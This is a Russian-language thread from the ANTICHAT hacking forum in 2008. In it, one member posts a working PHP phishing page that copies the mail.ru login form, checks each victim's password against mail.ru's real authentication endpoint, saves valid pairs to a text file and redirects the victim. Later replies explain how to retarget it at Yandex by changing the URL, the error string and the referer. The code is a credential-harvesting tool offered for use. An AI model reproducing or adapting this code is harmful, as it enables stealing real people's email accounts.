HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6881  
Старый 14.12.2008, 23:42
preda1or
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме:
1495545

Репутация: 242
Отправить сообщение для preda1or с помощью ICQ
По умолчанию

А кто сказал за деньги?)
 
Ответить с цитированием

  #6882  
Старый 14.12.2008, 23:46
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Теперь понял что нужно юзать сокеты или курл.С курлом проблемы,а с сокетами пока что даже не связывался.Я не прошу написать за меня,я прошу предоставить пример,а тему в 694 страницы рулить...ууууу
 
Ответить с цитированием

  #6883  
Старый 15.12.2008, 00:02
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

m0Hze
Вот тебе навоял пример для mail.ru. Работает, проверял)

PHP код:
<?php

if(isset($_POST['submit'])){ // Если данные отправились

    
$mail $_POST['mail'];
    
$zone $_POST['zone'];
    
$pass $_POST['pass'];

    
$post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;

    
$cl curl_init('http://win.mail.ru/cgi-bin/auth');
    
curl_setopt($clCURLOPT_RETURNTRANSFER1);
    
curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
    
curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
    
curl_setopt($clCURLOPT_HEADER1);
    
curl_setopt($clCURLOPT_POST1);
    
curl_setopt($clCURLOPT_POSTFIELDS$post);
    
$exec curl_exec($cl);
    
curl_close($cl);

    if(
stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{

        
/* Запись в файл */
        
$open fopen('result.txt''r+t');
        
fputs($open$mail.'@'.$zone.' : '.$pass."\r\n");
        
fclose($open);

        
/* Переадресация куда-то */
        
header('location: http://kuda-to.ru');
        die();
    }

}else{

    
?>
    <form action="" method="post">
        <input name="mail" type="text" /><br/>
        <select size="1" name="zone">
            <option value="mail.ru">mail.ru</option>
            <option value="bk.ru">bk.ru</option>
            <option value="inbox.ru">inbox.ru</option>
            <option value="list.ru">list.ru</option>
        </select><br/>
    <input name="pass" type="password" />
    <input type="submit" value="Войти" name="submit" />
    </form>

    <?php

}

?>
Ну а всякие там проверки и т.д. сделаешь сам)
 
Ответить с цитированием

  #6884  
Старый 15.12.2008, 00:37
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Так, интересно,все понял, кроме куска с крлом,основное так сказать
А вот тогда так. А если на яндекс,а там уже идет вот такая ссылка, https://passport.yandex.ru/passport?mode=passport - то тут как быть? Понятно что заменить $zone, точнее совсем убрать,и переделать Login Password, если они по другому называються в форме, но вот сама ссылка...вот что не понятно мне.А в основном вникнул уже глубже.
 
Ответить с цитированием

  #6885  
Старый 15.12.2008, 00:41
preda1or
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме:
1495545

Репутация: 242
Отправить сообщение для preda1or с помощью ICQ
По умолчанию

Цитата:
if(stripos($exec, 'Неправильная пара логин-пароль!');
Вот тебе для яндекса...)
 
Ответить с цитированием

  #6886  
Старый 15.12.2008, 00:43
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

ненене,я не о том.Это я понял,чтото типо парсера,он дергает эту надпись и возвращает значение.Я о другом.Тоеть,мне достутачно мненить то что я описал выше,контроьную фразу, и тупо поставить
PHP код:
$cl curl_init('http://passport.yandex.ru/passport?mode=passport'); 
 
Ответить с цитированием

  #6887  
Старый 15.12.2008, 00:44
preda1or
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме:
1495545

Репутация: 242
Отправить сообщение для preda1or с помощью ICQ
По умолчанию

Да, должно работать
Цитата:
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
поменять еще
 
Ответить с цитированием

  #6888  
Старый 15.12.2008, 00:51
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Вот тогда другой вопрос.Я просто с файлами никогда не работал еще...
Смотрите:
PHP код:
if(stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{ ..... 
Какбе сделать так,чтобы заместо сообщения
PHP код:
if(stripos($exec'Неверное имя пользователя или пароль')) 
Тут выводилась страница,например error.php?
 
Ответить с цитированием

  #6889  
Старый 15.12.2008, 00:54
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Если там ssl, то предётся немного переделать.
И как ты говоришь "тупо убрать зону" тоже врядли прокатит. Снифай заголовки отправляемые и полученные от сервера, смотри какие данные передаются и т.д.

Цитата:
Сообщение от m0Hze  
Вот тогда другой вопрос.Я просто с файлами никогда не работал еще...
Смотрите:
PHP код:
if(stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{ ..... 
Какбе сделать так,чтобы заместо сообщения
PHP код:
if(stripos($exec'Неверное имя пользователя или пароль')) 
Тут выводилась страница,например error.php?
мдэ, думаю тебе ещё книжки надо почитать)
PHP код:
stripos($exec'Неверное имя пользователя или пароль'
Это проверка в полученном коде правильности вводимых данных.

если хочешь показывать страницу error.php то впиши что-то типа.
PHP код:
echo file_get_contents('error.php'); 

p.s. пиздец даже спасибо не сказал =\

Последний раз редактировалось .:EnoT:.; 15.12.2008 в 00:58..
 
Ответить с цитированием

  #6890  
Старый 15.12.2008, 00:57
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Я не понял почти ничего из предложения выше
Какие мы все жадные на плисеги
C проверкой напутал,сознаюсь.Но просто по случайности,я знаю как работает if
Xt тебе от меня мой 1 плисег то?)

Последний раз редактировалось m0Hze; 15.12.2008 в 01:03..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ